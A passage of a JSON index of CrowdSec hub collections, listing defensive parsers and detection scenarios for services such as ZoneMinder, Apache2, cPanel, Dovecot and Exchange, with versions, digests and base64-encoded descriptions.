"cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGJhdWRuZW8vZ290aWZ5LWxvZ3MKc2NlbmFyaW9zOgogIC0gYmF1ZG5lby9nb3RpZnktYmYKZGVzY3JpcHRpb246ICJHb3RpZnkgYnJ1dGVmb3JjZSBsb2dpbiBwcm90ZWN0aW9uIgphdXRob3I6IGJhdWRuZW8KdGFnczoKICAtIEdvdGlmeQogIC0gYnJ1dGVmb3JjZQo=", "description": "Gotify bruteforce login protection", "author": "baudneo", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "baudneo/gotify-logs" ], "scenarios": [ "baudneo/gotify-bf" ] }, "baudneo/zoneminder": { "path": "collections/baudneo/zoneminder.yaml", "version": "0.2", "versions": { "0.1": { "digest": "2ea1b2b8b5b7f1f6fe3c23300c08f0e6df8afea45ad94cb4cf6af36cdf489174", "deprecated": false }, "0.2": { "digest": "a1f88aaab3a31ad0b469f80dc7ff1c12bbc3d0e8d3f1a2c4d7be218ab725e951", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRldGVjdCBicnV0ZWZvcmNlIGxvZ2lucyBhbmQgdXNlciBlbnVtZXJhdGlvbiBvbiBab25lTWluZGVyLgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvc3lzbG9nLWxvZ3MKICAtIGJhdWRuZW8vem9uZW1pbmRlci1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L2RhdGVwYXJzZS1lbnJpY2gKc2NlbmFyaW9zOgogIC0gYmF1ZG5lby96b25lbWluZGVyLWJmCmNvbGxlY3Rpb25zOgogIC0gYmF1ZG5lby96b25lbWluZGVyX2h0dHAtY3ZlCmRlc2NyaXB0aW9uOiAiWm9uZU1pbmRlciBicnV0ZWZvcmNlIGxvZ2luLCB1c2VyIGVudW0gYW5kIGN2ZSAgcHJvdGVjdGlvbiIKYXV0aG9yOiBiYXVkbmVvCnRhZ3M6CiAgLSBab25lTWluZGVyCiAgLSBicnV0ZWZvcmNlCg==", "description": "ZoneMinder bruteforce login, user enum and cve protection", "author": "baudneo", "labels": null, "parsers": [ "crowdsecurity/syslog-logs", "baudneo/zoneminder-logs", "crowdsecurity/dateparse-enrich" ], "scenarios": [ "baudneo/zoneminder-bf" ], "collections": [ "baudneo/zoneminder_http-cve" ] }, "baudneo/zoneminder_http-cve": { "path": "collections/baudneo/zoneminder_http-cve.yaml", "version": "0.1", "versions": { "0.1": { "digest": "0c4bc2952784bd9cc0f2a9590fa6f60124fbeaf1f3c04f603ee8b53adeef8c4a", "deprecated": false } }, "long_description": "QSBjb2xsZWN0aW9uIHRvIGRldGVjdCBIVFRQIGJhc2VkIENWRXMgb24gWm9uZU1pbmRlci4K", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvYXBhY2hlMi1sb2dzCiAgLSBjcm93ZHNlY3VyaXR5L2RhdGVwYXJzZS1lbnJpY2gKc2NlbmFyaW9zOgogIC0gYmF1ZG5lby96b25lbWluZGVyX2N2ZS0yMDIyLTM5Mjg1CiAgLSBiYXVkbmVvL3pvbmVtaW5kZXJfY3ZlLTIwMjItMzkyOTAKICAtIGJhdWRuZW8vem9uZW1pbmRlcl9jdmUtMjAyMi0zOTI5MQpkZXNjcmlwdGlvbjogIlpvbmVNaW5kZXIgQ1ZFIHByb3RlY3Rpb24iCmF1dGhvcjogYmF1ZG5lbwp0YWdzOgogIC0gWm9uZU1pbmRlcgogIC0gQ1ZFLTIwMjItMzkyOTAK", "description": "ZoneMinder CVE protection", "author": "baudneo", "labels": null, "parsers": [ "crowdsecurity/apache2-logs", "crowdsecurity/dateparse-enrich" ], "scenarios": [ "baudneo/zoneminder_cve-2022-39285", "baudneo/zoneminder_cve-2022-39290", "baudneo/zoneminder_cve-2022-39291" ] }, "crowdsecurity/apache2": { "path": "collections/crowdsecurity/apache2.yaml", "version": "0.1", "versions": { "0.1": { "digest": "3601f38e187479724e830e0182f51468c980f661e6eedc6d2e586f622e3b48ea", "deprecated": false } }, "long_description": "IyMgQXBhY2hlMiBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIGFwYWNoZTIgOgogLSBhcGFjaGUyIHBhcnNlcgogLSBiYXNlIGh0dHAgc2NlbmFyaW9zIGZvciBjcmF3bCwgc2NhbiBldGMuCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvYXBhY2hlMi8qLmxvZwogIC0gL3Zhci9sb2cvKmh0dHBkKi5sb2cKICAtIC92YXIvbG9nL2h0dHBkLypsb2cKbGFiZWxzOgogIHR5cGU6IGFwYWNoZTIKYGBgCgoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCg==", "content": "cGFyc2VyczoKI2dlbmVyaWMgcG9zdC1wYXJzaW5nIG9mIGh0dHAgc3R1ZmYKICAtIGNyb3dkc2VjdXJpdHkvYXBhY2hlMi1sb2dzCmNvbGxlY3Rpb25zOgogIC0gY3Jvd2RzZWN1cml0eS9iYXNlLWh0dHAtc2NlbmFyaW9zCmRlc2NyaXB0aW9uOiAiYXBhY2hlMiBzdXBwb3J0IDogcGFyc2VyIGFuZCBnZW5lcmljIGh0dHAgc2NlbmFyaW9zICIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gYXBhY2hlMgogIC0gY3Jhd2wKICAtIHNjYW4KCg==", "description": "apache2 support : parser and generic http scenarios ", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/apache2-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/apiscp": { "path": "collections/crowdsecurity/apiscp.yaml", "version": "0.1", "versions": { "0.1": { "digest": "0d5b10b1ab997a9826b657dfa145799904c7f340c38b0db0855f24900900408a", "deprecated": false } }, "long_description": "IyMgQXBpc0NQIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiBmb3IgQXBpc0NQIDoKIC0gQXBhY2hlIGxvZyBwYXJzZXIgZm9yIGFwaXNDUCBhbmQgaHR0cGQgYWNjZXNzX2xvZwogLSBTY2VuYXJpbyB0byBkZXRlY3QgYnJ1dGVmb3JjZSBvbiBBcGlzQ1AgYWRtaW4gcGFnZQogLSBDb2xsZWN0aW9ucyBmb3Igc3VwcG9ydGVkIHNlcnZpY2VzOgogICAgLSBjcm93ZHNlY3VyaXR5L2FwYWNoZTIKICAgIC0gY3Jvd2RzZWN1cml0eS9kb3ZlY290CiAgICAtIGNyb3dkc2VjdXJpdHkvaGFwcm94eQogICAgLSBjcm93ZHNlY3VyaXR5L215c3FsCiAgICAtIGNyb3dkc2VjdXJpdHkvcG9zdGZpeAogICAgLSBjcm93ZHNlY3VyaXR5L3Bnc3FsCiAgICAtIGNyb3dkc2VjdXJpdHkvdnNmdHBkCgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC91c3IvbG9jYWwvYXBuc2NwL3N0b3JhZ2UvbG9ncy9hY2Nlc3NfbG9nCiAgLSAvdXNyL2xvY2FsL2FwbnNjcC9zdG9yYWdlL2xvZ3MvZXJyb3JfbG9nCmxhYmVsczoKICB0eXBlOiBhcGFjaGUyCi0tLQpmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9wZ3NxbC8qLmxvZwpsYWJlbHM6CiAgdHlwZTogcG9zdGdyZXMKLS0tCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL21haWxsb2cKbGFiZWxzOgogIHR5cGU6IHN5c2xvZwotLS0KZmlsZW5hbWVzOgogIC0gL3Zhci9sb2cvbXlzcWxkLmxvZwpsYWJlbHM6CiAgdHlwZTogbXlzcWwKLS0tCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL3ZzZnRwZC5sb2cKbGFiZWxzOgogIHR5cGU6IHZzZnRwZApgYGAKCllvdSBjYW4gYWxzbyBtb25pdG9yIGFsbCB0aGUgY3JlYXRlZCBgTmV4dXNgIGJ5IHJlcGxhY2luZyBgL3Zhci9sb2cvYCBieSBgL2hvbWUvdmlydHVhbC88c2l0ZV9uYW1lPi92YXIvbG9nL2AuCgoKbm90ZXMgOgogLSAgSWYgeW91IGFyZSB1c2luZyBgc3lzbG9nYCwgc2V0IHR5cGUgdG8gYHN5c2xvZ2AgaW5zdGVhZAogLSAgRGVwZW5kaW5nIG9uIHlvdXIgZGlzdHJpYnV0aW9uL09TLCBwYXRocyB0byBsb2cgZmlsZXMgbWlnaHQgY2hhbmdlCiAtICBPbmx5IHJlbGV2YW50IGlmIHlvdSBhcmUgbWFudWFsbHkgaW5zdGFsbGluZyBjb2xsZWN0aW9uCgo=", "content": "c2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9odHRwLWFwaXNjcC1iZgpjb2xsZWN0aW9uczoKICAtIGNyb3dkc2VjdXJpdHkvYXBhY2hlMgogIC0gY3Jvd2RzZWN1cml0eS9kb3ZlY290CiAgLSBjcm93ZHNlY3VyaXR5L2hhcHJveHkKICAtIGNyb3dkc2VjdXJpdHkvbXlzcWwKICAtIGNyb3dkc2VjdXJpdHkvcG9zdGZpeAogIC0gY3Jvd2RzZWN1cml0eS9wZ3NxbAogIC0gY3Jvd2RzZWN1cml0eS92c2Z0cGQKZGVzY3JpcHRpb246ICJhcGlzQ1Agc3VwcG9ydCA6IGNvbGxlY3Rpb25zIGZvciBzZXJ2aWNlcyBzdXBwb3J0ZWQgYnkgYXBpc0NQICsgYXBpc0NQIGFkbWluIHBhZ2UgcGFyc2VyL3NjZW5hcmlvIGJydXRlZm9yY2UiCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gYXBpc2NwCgo=", "description": "apisCP support : collections for services supported by apisCP + apisCP admin page parser/scenario bruteforce", "author": "crowdsecurity", "labels": null, "scenarios": [ "crowdsecurity/http-apiscp-bf" ], "collections": [ "crowdsecurity/apache2", "crowdsecurity/dovecot", "crowdsecurity/haproxy", "crowdsecurity/mysql", "crowdsecurity/postfix", "crowdsecurity/pgsql", "crowdsecurity/vsftpd" ] }, "crowdsecurity/asterisk": { "path": "collections/crowdsecurity/asterisk.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4dcfaad1205510572bc715811b4f70a4ab12ad2a54a7ceac202ce9f2517502cd", "deprecated": false } }, "long_description": "IyMgQXN0ZXJpc2sgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBhc3RlcmlzayA6CiAtIGFzdGVyaXNrIGxvZyBwYXJzZXIKIC0gYXN0ZXJpc2sgdXNlciBlbnVtZXJhdGlvbiBzY2VuYXJpbwogLSBhc3RlcmlzayBicnV0ZWZvcmNlIHNjZW5hcmlvCgoKIyMgQWNxdWlzaXRpb24gdGVtcGxhdGUKCkV4YW1wbGUgYWNxdWlzaXRpb24gZm9yIHRoaXMgY29sbGVjdGlvbiA6CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL2FzdGVyaXNrLyoubG9nCmxhYmVsczoKICB0eXBlOiBhc3RlcmlzawpgYGAKCgpub3RlcyA6CiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24KCg==", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvYXN0ZXJpc2stbG9ncwpzY2VuYXJpb3M6CiAgLSBjcm93ZHNlY3VyaXR5L2FzdGVyaXNrX2JmCiAgLSBjcm93ZHNlY3VyaXR5L2FzdGVyaXNrX3VzZXJfZW51bQpkZXNjcmlwdGlvbjogImFzdGVyaXNrIHN1cHBvcnQgOiBwYXJzZXIgYW5kIGJydXRlZm9yY2UvdXNlciBlbnVtZXJhdGlvbiBzY2VuYXJpb3MgIgphdXRob3I6IGNyb3dkc2VjdXJpdHkKdGFnczoKICAtIGFzdGVyaXNrCiAgLSBicnV0ZWZvcmNlCgo=", "description": "asterisk support : parser and bruteforce/user enumeration scenarios ", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/asterisk-logs" ], "scenarios": [ "crowdsecurity/asterisk_bf", "crowdsecurity/asterisk_user_enum" ] }, "crowdsecurity/base-http-scenarios": { "path": "collections/crowdsecurity/base-http-scenarios.yaml", "version": "0.6", "versions": { "0.1": { "digest": "7ee043a9d2e063cad751e6ce5d048f02518a76d39ec81aebed3bae736b0ced9e", "deprecated": false }, "0.2": { "digest": "affdb706e66ffd924086b24e94734589672fb531f80fe366ab06a8c3228962e2", "deprecated": false }, "0.3": { "digest": "543df5abb020afb51f3ab9d83cdc031e95572983e72f32a59b9f6f75cac990c3", "deprecated": false }, "0.4": { "digest": "15018789eeb01f907fad18a16a1bfd3dc4be972455b22b86c73fd95ef334a072", "deprecated": false }, "0.5": { "digest": "98c63493ca04367acd2d889d54141f9bcf22573301b161d6d268ca053159e94e", "deprecated": false }, "0.6": { "digest": "2d70781df8c630d36e5f4800bde77dd7e130481e9c658aa0b3aae7ae95e15271", "deprecated": false } }, "long_description": "Kipjb250YWlucyBubyBwYXJzZXIsIG1lYW50IHRvIGJlIGVtYmVkZGVkKioKCkEgY29sbGVjdGlvbiBvZiBkZWZlbnNpdmUgKGltcGxlbWVudGF0aW9uIGluZGVwZW5kZW50KSBzY2VuYXJpb3MgZm9yIGh0dHAgc2VydmljZXMgOgogLSBhZ2dyZXNzaXZlIGNyYXdsIGRldGVjdGlvbgogLSBzY2FubmluZy9wcm9iaW5nIGRldGVjdGlvbgogLSBiYWQgdXNlci1hZ2VudCBkZXRlY3Rpb24KIC0gcGF0aCB0cmF2ZXJzYWwgZGV0ZWN0aW9uCiAtIHNlbnNpdGl2ZSBkYXRhIGFjY2VzcyBhdHRlbXB0cyBkZXRlY3Rpb24KIC0gU1FMIGluamVjdGlvbiBkZXRlY3Rpb24KCjp3YXJuaW5nOiBUaGlzIGNvbGxlY3Rpb24gaXMgX25vdF8gYSBXQUYgYW5kIHRoaXMgc2NlbmFyaW8gZG9lcyBfbm90XyBhaW1zIGF0IHJlcGxhY2luZyBhIFdBRi4KCgoK", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1jcmF3bC1ub25fc3RhdGljcwogIC0gY3Jvd2RzZWN1cml0eS9odHRwLXByb2JpbmcKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1iYWQtdXNlci1hZ2VudAogIC0gY3Jvd2RzZWN1cml0eS9odHRwLXBhdGgtdHJhdmVyc2FsLXByb2JpbmcKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1zZW5zaXRpdmUtZmlsZXMKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1zcWxpLXByb2JpbmcKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC14c3MtcHJvYmluZwogIC0gY3Jvd2RzZWN1cml0eS9odHRwLWJhY2tkb29ycy1hdHRlbXB0cwogIC0gbHRzaWNoL2h0dHAtdzAwdHcwMHQKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1nZW5lcmljLWJmCiAgLSBjcm93ZHNlY3VyaXR5L2h0dHAtb3Blbi1wcm94eQpjb2xsZWN0aW9uczoKICAtIGNyb3dkc2VjdXJpdHkvaHR0cC1jdmUKCmRlc2NyaXB0aW9uOiAiaHR0cCBjb21tb24gOiBzY2FubmVycyBkZXRlY3Rpb24iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIGh0dHAKICAtIGNyYXdsCiAgLSBzY2FuCgo=", "description": "http common : scanners detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/http-logs" ], "scenarios": [ "crowdsecurity/http-crawl-non_statics", "crowdsecurity/http-probing", "crowdsecurity/http-bad-user-agent", "crowdsecurity/http-path-traversal-probing", "crowdsecurity/http-sensitive-files", "crowdsecurity/http-sqli-probing", "crowdsecurity/http-xss-probing", "crowdsecurity/http-backdoors-attempts", "ltsich/http-w00tw00t", "crowdsecurity/http-generic-bf", "crowdsecurity/http-open-proxy" ], "collections": [ "crowdsecurity/http-cve" ] }, "crowdsecurity/caddy": { "path": "collections/crowdsecurity/caddy.yaml", "version": "0.1", "versions": { "0.1": { "digest": "3501cb76beba2ec7f0ed44cf10e249e4db279903813e8b659c1d731c3a66ab2f", "deprecated": false } }, "long_description": "IyMgQ2FkZHkgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIHRvIGRlZmVuZCBjYWRkeSBhZ2FpbnN0IGNvbW1vbiBodHRwIGF0dGFja3MgOgogLSBjYWRkeSBwYXJzZXIKIC0gYmFzZS1odHRwLXNjZW5hcmlvcyBjb2xsZWN0aW9uIHRvIGRldGVjdCBodHRwIGJhZCBiZWhhdmlvcnMKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9jYWRkeS8qLmxvZwogIHR5cGU6IGNhZGR5CmBgYAoKCm5vdGVzIDoKIC0gIElmIHlvdSBhcmUgdXNpbmcgYHN5c2xvZ2AsIHNldCB0eXBlIHRvIGBzeXNsb2dgIGluc3RlYWQKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvY2FkZHktbG9ncwpjb2xsZWN0aW9uczoKICAtIGNyb3dkc2VjdXJpdHkvYmFzZS1odHRwLXNjZW5hcmlvcwpkZXNjcmlwdGlvbjogImNhZGR5IHN1cHBvcnQgOiBwYXJzZXIgYW5kIGdlbmVyaWMgaHR0cCBzY2VuYXJpb3MiCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIGNhZGR5CiAgLSBjcmF3bAogIC0gc2Nhbgo=", "description": "caddy support : parser and generic http scenarios", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/caddy-logs" ], "collections": [ "crowdsecurity/base-http-scenarios" ] }, "crowdsecurity/cpanel": { "path": "collections/crowdsecurity/cpanel.yaml", "version": "0.2", "versions": { "0.1": { "digest": "708cb00f74feff6b8bc5109ba0dea0ed646229adbbb2174288ea7bd185b31e53", "deprecated": false }, "0.2": { "digest": "f2496391e82604dcba85c91ba79ec8204661aca4fdb38f6c46773f203c99b9fe", "deprecated": false } }, "long_description": "IyMgQ3BhbmVsIGNvbGxlY3Rpb24KCkEgY29sbGVjdGlvbiBmb3IgY3BhbmVsLiBDb250YWluczoKICogY3BhbmVsIGxvZyBwYXJzZXIKICogY3BhbmVsIHNjZW5hcmlvIHRvIGRldGVjdCBicnV0ZWZvcmNlCgojIyBBY3F1aXNpdGlvbiB0ZW1wbGF0ZQoKRXhhbXBsZSBhY3F1aXNpdGlvbiBmb3IgdGhpcyBjb2xsZWN0aW9uIDoKCmBgYHlhbWwKZmlsZW5hbWVzOgogIC0gL2hvbWUvPHVzZXJuYW1lPi9sb2dzL2NwYW5lbC9sb2dpbl9sb2cKbGFiZWxzOgogIHR5cGU6IGNwYW5lbApgYGAKCgpub3RlcyA6CiAtICBJZiB5b3UgYXJlIHVzaW5nIGBzeXNsb2dgLCBzZXQgdHlwZSB0byBgc3lzbG9nYCBpbnN0ZWFkCiAtICBEZXBlbmRpbmcgb24geW91ciBkaXN0cmlidXRpb24vT1MsIHBhdGhzIHRvIGxvZyBmaWxlcyBtaWdodCBjaGFuZ2UKIC0gIE9ubHkgcmVsZXZhbnQgaWYgeW91IGFyZSBtYW51YWxseSBpbnN0YWxsaW5nIGNvbGxlY3Rpb24K", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvY3BhbmVsLWxvZ3MKc2NlbmFyaW9zOgogIC0gY3Jvd2RzZWN1cml0eS9jcGFuZWwtYmYKICAtIGNyb3dkc2VjdXJpdHkvY3BhbmVsLWJmLWF0dGVtcHQKZGVzY3JpcHRpb246ICJjcGFuZWwgc3VwcG9ydCA6IHBhcnNlciBhbmQgYnJ1dGVmb3JjZSBkZXRlY3Rpb24iCmF1dGhvcjogY3Jvd2RzZWN1cml0eQp0YWdzOgogIC0gbGludXgKICAtIGNwYW5lbAogIC0gYnJ1dGVmb3JjZQo=", "description": "cpanel support : parser and bruteforce detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/cpanel-logs" ], "scenarios": [ "crowdsecurity/cpanel-bf", "crowdsecurity/cpanel-bf-attempt" ] }, "crowdsecurity/dovecot": { "path": "collections/crowdsecurity/dovecot.yaml", "version": "0.1", "versions": { "0.1": { "digest": "7990a4b855273b5ceaa379d2979d796e070c96a398caeefbfa1933cc36f690be", "deprecated": false } }, "long_description": "IyMgRG92ZWNvdCBjb2xsZWN0aW9uCgpBIGNvbGxlY3Rpb24gZm9yIGRvdmVjb3QKICogZG92ZWNvdCBsb2cgcGFyc2VycwogKiBkb3ZlY290IHNjZW5hcmlvIGJydXRlZm9yY2Ugc3BhbSBhdHRlbXB0CgpUaGlzIGNvbGxlY3Rpb24gbW9zdGx5IGFpbXMgYXQgZ2V0dGluZyBzaW1pbGFyIHNwYW0gcHJvdGVjdGlvbiBhcwp0aGUgbm9ybWFsIGZhaWwyYmFuIGRvdmVjb3QgY29uZmlndXJhdGlvbi4KCj4gQ29udHJpYnV0aW9uIGJ5IGh0dHBzOi8vZ2l0aHViLmNvbS9MdFNpY2gKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb24gOgoKYGBgeWFtbApmaWxlbmFtZXM6CiAgLSAvdmFyL2xvZy9tYWlsLmxvZwpsYWJlbHM6CiAgdHlwZTogc3lzbG9nCmBgYAoKCm5vdGVzIDoKIC0gIERlcGVuZGluZyBvbiB5b3VyIGRpc3RyaWJ1dGlvbi9PUywgcGF0aHMgdG8gbG9nIGZpbGVzIG1pZ2h0IGNoYW5nZQogLSAgT25seSByZWxldmFudCBpZiB5b3UgYXJlIG1hbnVhbGx5IGluc3RhbGxpbmcgY29sbGVjdGlvbgo=", "content": "cGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvZG92ZWNvdC1sb2dzCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvZG92ZWNvdC1zcGFtCmRlc2NyaXB0aW9uOiAiZG92ZWNvdCBzdXBwb3J0IDogcGFyc2VyIGFuZCBzcGFtbWVyIGRldGVjdGlvbiIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gc3BhbQogIC0gYnJ1dGVmb3JjZQo=", "description": "dovecot support : parser and spammer detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/dovecot-logs" ], "scenarios": [ "crowdsecurity/dovecot-spam" ] }, "crowdsecurity/endlessh": { "path": "collections/crowdsecurity/endlessh.yaml", "version": "0.1", "versions": { "0.1": { "digest": "43b070a6e5c49f66dc970d4a8cc8fb37cef90c5da5aa6276c012e343ba06f0e5", "deprecated": false } }, "long_description": "IyMgRW5kbGVzc2ggY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBbRW5kbGVzc2hdKGh0dHBzOi8vZ2l0aHViLmNvbS9za2VldG8vZW5kbGVzc2gpCiAqIGxvZyBwYXJzZXIKICogYnJ1dGUtZm9yY2Ugc2NlbmFyaW8KCj4gQ29udHJpYnV0aW9uIGJ5IGh0dHBzOi8vZ2l0aHViLmNvbS9iYW14MjMKCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb246CgpgYGB5YW1sCmZpbGVuYW1lczoKICAtIC92YXIvbG9nL2VuZGxlc3NoLmxvZwpsYWJlbHM6CiAgdHlwZTogZW5kbGVzc2gKYGBgCgpZb3UgbmVlZCB0byBjb25maWd1cmUgRW5kbGVzc2ggdG8gd3JpdGUgbG9ncyB0byB0aGlzIHBhdGguCkkuZS4gYnkgaGF2aW5nIHRoaXMgbGluZSBpbiBgL3Vzci9saWIvc3lzdGVtZC9zeXN0ZW0vZW5kbGVzc2guc2VydmljZWA6CgpgYGAKU3RhbmRhcmRPdXRwdXQ9ZmlsZTovdmFyL2xvZy9lbmRsZXNzaC5sb2cKYGBgCg==", "content": "I3RoZSBsaXN0IG9mIHBhcnNlcnMgaXQgY29udGFpbnMKcGFyc2VyczoKICAtIGNyb3dkc2VjdXJpdHkvZW5kbGVzc2gtbG9ncwogIC0gY3Jvd2RzZWN1cml0eS9kYXRlcGFyc2UtZW5yaWNoCnNjZW5hcmlvczoKICAtIGNyb3dkc2VjdXJpdHkvZW5kbGVzc2gtYmYKZGVzY3JpcHRpb246ICJlbmRsZXNzaCBzdXBwb3J0IDogbG9ncyBwYXJzZXIgYW5kIGJydXRlLWZvcmNlIGRldGVjdGlvbiIKYXV0aG9yOiBjcm93ZHNlY3VyaXR5CnRhZ3M6CiAgLSBsaW51eAogIC0gc3NoCiAgLSBlbmRsZXNzaAogIC0gYnJ1dGVmb3JjZQo=", "description": "endlessh support : logs parser and brute-force detection", "author": "crowdsecurity", "labels": null, "parsers": [ "crowdsecurity/endlessh-logs", "crowdsecurity/dateparse-enrich" ], "scenarios": [ "crowdsecurity/endlessh-bf" ] }, "crowdsecurity/exchange": { "path": "collections/crowdsecurity/exchange.yaml", "version": "0.3", "versions": { "0.1": { "digest": "95cf2f72de900427c545793800c465716508b4e2953bdc0024b8d757fbbed8df", "deprecated": false }, "0.2": { "digest": "cc3b0e749e8fd9470d6274bc9cace5d7fa1fa2d09eac6c36a4c998600c449dae", "deprecated": false }, "0.3": { "digest": "33da539eede53d578b7f415591d69b9ffabdfdf59b33de2a5f9224e5b345785c", "deprecated": false } }, "long_description": "IyMgRXhjaGFuZ2UgY29sbGVjdGlvbgoKQSBjb2xsZWN0aW9uIGZvciBNaWNyb3NvZnQgRXhjaGFuZ2U6CiAtIERldGVjdCBicnV0ZWZvcmNlIG9uIGFuIE9XQSBpbnN0YW5jZQogLSBEZXRlY3QgYnJ1dGVmb3JjZSBvbiB0aGUgU01UUCBzZXJ2aWNlIG9mIEV4Y2hhbmdlCgpOb3RlOgogLSBUaGlzIGNvbGxlY3Rpb24gd2lsbCByZWFkIHRoZSBleGNoYW5nZSB0cmFuc3BvcnQgbG9ncywgd2hpY2ggYXJlIG5vdCB3cml0dGVuIHRvIGRpc2sgaW4gcmVhbCB0aW1lLiBJbiBvcmRlciB0byBhdm9pZCBmYWxzZSBwb3NpdGl2ZSBpbiBsb3cgdHJhZmZpYyBlbnZpcm9ubWVudCwgc2V0IHRoZSBgdXNlX3RpbWVfbWFjaGluZWAgcGFyYW1ldGVyIHRvIGB0cnVlYC4KCiMjIEFjcXVpc2l0aW9uIHRlbXBsYXRlCgpFeGFtcGxlIGFjcXVpc2l0aW9uIGZvciB0aGlzIGNvbGxlY3Rpb246CgpgYGB5YW1sCnVzZV90aW1lX21hY2hpbmU6IHRydWUgI1Byb2Nlc3MgbG9ncyBhcyBpZiB3ZSB3ZXJlIHJlcGxheWluZyB0aGVtIHRvIGdldCB0aGUgdGltZXN0YW1wIGZyb20gdGhlIApmaWxlbmFtZXM6CiAgLSBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE1XFRyYW5zcG9ydFJvbGVzXExvZ3NcRnJvbnRFbmRcUHJvdG9jb2xMb2dcU210cFJlY2VpdmVcKi5MT0cKbGFiZWxzOgogIHR5cGU6IGV4Y2hhbmdlLXNtdHAKLS0tCnVzZV90aW1lX21hY2hpbmU6IHRydWUgI1Byb2Nlc3MgbG9ncyBhcyBpZiB3ZSB3ZXJlIHJlcGxheWluZyB0aGVtIHRvIGdldCB0aGUgdGltZXN0YW1wIGZyb20gdGhlIApmaWxlbmFtZXM6CiAgLSBDOlxQcm9ncmFtIEZpbGVzXE1pY3Jvc29mdFxFeGNoYW5nZSBTZXJ2ZXJcVjE1XExvZ2dpbmdcSW1hcDRcKi5MT0cKbGFiZWxzOgogIHR5cGU6